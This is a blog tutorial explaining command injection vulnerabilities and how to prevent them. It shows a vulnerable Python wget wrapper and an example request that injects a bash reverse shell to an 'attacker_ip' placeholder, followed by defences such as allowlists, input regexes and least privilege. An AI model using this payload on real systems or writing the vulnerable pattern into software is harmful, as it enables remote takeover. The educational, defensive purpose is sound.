• Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office
AnonyViet - English Version
  • Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office
No Result
View All Result
  • Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office
No Result
View All Result
AnonyViet - English Version
No Result
View All Result

Learn about Command Injection attacks

AnonyViet by AnonyViet
January 13, 2023
in Security
0

Remote code execution is a type of vulnerability that occurs when attackers can execute their code on your machine. One of the most common ways it can happen is through command injection vulnerabilities. They are a type of remote code execution that occurs when user input is directly appended to a system command.

Join the channel Telegram of the AnonyViet 👉 Link 👈

Learn about Command Injection attacks

Learn about Command Injection attacks

In the previous post, I showed how exploit Command Injection bug. In this article, we will take a deeper look at the Command Injection vulnerability.

Assume that your website has functionality that allows users to download a remote file and view it on the site. Your application will use the system command to download the remote file.

Here is the python source code of that function. The os.system() function executes its input string as a system command.

import os
def download(url):
  os.system(“wget -O- {}”.format(url))
display(download(user_input.url))

Wget is a tool that downloads files by providing a URL and the -O- option that allows Wget to download the file and display it in standard output. So this program takes a URL from user input and passes it to the Wget command which is executed using os.system(). For example, if you submit this request, the app will download the source code of the Google homepage and show it to you.

GET /download?url=google.com
Host: example.com

In this case, the system command becomes:

wget -O- google.com

In the Linux command line, the semicolon “;” can be used to separate individual commands. An attacker can execute arbitrary commands after the Wget command by sending any command they want after a semicolon “;”. This input will cause the application to generate a reverse shell connect to the attacker’s IP on port 8080.

GET /download?url=”google.com;bash -i >& /dev/tcp/attacker_ip/8080 0>&1"
Host: example.com

In this case, the system command becomes:

wget -O- google.com;bash -i >& /dev/tcp/attacker_ip/8080 0>&1

The reverse shell makes the target server communicate with the attacker’s machine and establishes a remotely accessible user interface that allows the attacker to execute any system command.

Prevent Command Injections

As you can see, command injection can help an attacker completely infiltrate your application and the user account running the web server. So how can these dangerous vulnerabilities be prevented?

First, you can prevent command injection by not running system commands with user-supplied input. If you need to use user input in system commands, avoid calling operating system commands directly. Instead, you can try using built-in library functions that serve the same purpose. For example, instead of using os.system(“mkdir /dir_name”)you can use os.mkdir(“/dir_name”) in python’s OS library. And since user input can be converted into code that is parsed by the application, you should treat user-uploaded files as untrusted and protect the integrity of system files executed. , parsed or included by programs.

Alternatively, you can implement input validation for input passed into commands. The best way to do this is through a whitelist. You can whitelist strings or whitelist allowed characters. For example, when you want the user to be able to execute arbitrary commands, you can whitelist commands the user is allowed to run, such as ls and pwd, and only allow those input strings .

When you can’t do that, you can also whitelist the allowed characters. For example, this regular expression only allows lowercase letters and numbers and does not allow any special characters that can be used to manipulate the logic of the command. The length of the input string is also being limited to 1–10 characters.

^[a-z0–9]{1,10}$

Finally, you can also remove characters inserted into operating system commands. For example, some dangerous characters that should be removed include:

& | ; $ > < ` \ !

But this is often less effective because attackers are constantly coming up with innovative methods to bypass blacklist-based input validation.

If all else fails and an attacker manages to inject commands into your machine, how can you mitigate the harm they can cause? Running arbitrary commands on a system means having almost full access to that application’s permissions. So if you limit what your application can do on your system, a single injection by that application will not be able to cause serious harm to your system.

The “Least Privilege Principle” states that applications and processes should only be granted the privileges necessary to complete their tasks. It is a best practice that reduces the risk of entering the system during an attack because attackers will not have access to sensitive files and activities even if they are able to infiltrate users or processes. have low privileges. For example, when a web application only requests read access to a file, it will not be granted any write or execute permissions. Because if an attacker hijacks an application with high privileges, the attacker can gain its permissions. In this case, you should limit the privileges of the user running the web server so that attackers cannot use it to infiltrate the entire system.

Finally, you should update patches to prevent your application’s dependencies from creating command injection vulnerabilities. And you can also implement a web application firewall (WAF) to block suspicious attacks.

The article achieved: 5/5 – (100 votes)

Tags: attacksCommandInjectionLearn
Previous Post

How to automatically save Excel files to OneDrive

Next Post

Difference between AI and ML

AnonyViet

AnonyViet

Related Posts

How to implement Shellcode Injection attack technique with Autoit
Security

How to implement Shellcode Injection attack technique with Autoit

March 14, 2025
How to exploit the holy hole of Hijacking on Windows
Security

How to exploit the holy hole of Hijacking on Windows

March 8, 2025
Hamamal: Shellcode execution technique from afar to overcome Antivirus's discovery
Security

Hamamal: Shellcode execution technique from afar to overcome Antivirus's discovery

February 10, 2025
Snov.io Email Finder: Search emails with only company name/domain name/LinkedIn profile
Security

Snov.io Email Finder: Search emails with only company name/domain name/LinkedIn profile

December 14, 2024
Capsolver: Automatic solution solution for business
Security

Capsolver: Automatic solution solution for business

December 12, 2024
Seekr: Collect & manage OSINT data
Security

Seekr: Collect & manage OSINT data

November 22, 2024
Next Post
Difference between AI and ML

Difference between AI and ML

0 0 votes
Article Rating
Subscribe
Login
Notify of
guest

guest

0 Comments
Oldest
Newest Most Voted
Inline Feedbacks
View all comments

Recent News

Top 5 game programming languages ​​to learn now

Top 5 game programming languages ​​to learn now

June 8, 2025
The iPhone list is updated with iOS 26

The iPhone list is updated with iOS 26

June 8, 2025
Discover the glowing effect next to the iPhone ios 18 screen

Discover the glowing effect next to the iPhone ios 18 screen

June 8, 2025
[Godot Shooter] #2: Creating characters & shooting bullets

[Godot Shooter] #2: Creating characters & shooting bullets

June 7, 2025
Top 5 game programming languages ​​to learn now

Top 5 game programming languages ​​to learn now

June 8, 2025
The iPhone list is updated with iOS 26

The iPhone list is updated with iOS 26

June 8, 2025
Discover the glowing effect next to the iPhone ios 18 screen

Discover the glowing effect next to the iPhone ios 18 screen

June 8, 2025
AnonyViet - English Version

AnonyViet

AnonyViet is a website share knowledge that you have never learned in school!

We are ready to welcome your comments, as well as your articles sent to AnonyViet.

Follow Us

Contact:

Email: anonyviet.com[@]gmail.com

Main Website: https://anonyviet.com

Recent News

Top 5 game programming languages ​​to learn now

Top 5 game programming languages ​​to learn now

June 8, 2025
The iPhone list is updated with iOS 26

The iPhone list is updated with iOS 26

June 8, 2025
  • Home
  • Home 2
  • Home 3
  • Home 4
  • Home 5
  • Home 6
  • Next Dest Page
  • Sample Page

©2024 AnonyVietFor Knowledge kqxs hôm nay xem phim miễn phí SHBET https://kubet88.yoga/ bj88

No Result
View All Result
  • Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office

©2024 AnonyVietFor Knowledge kqxs hôm nay xem phim miễn phí SHBET https://kubet88.yoga/ bj88

wpDiscuz
0
0
Would love your thoughts, please comment.x
()
x
| Reply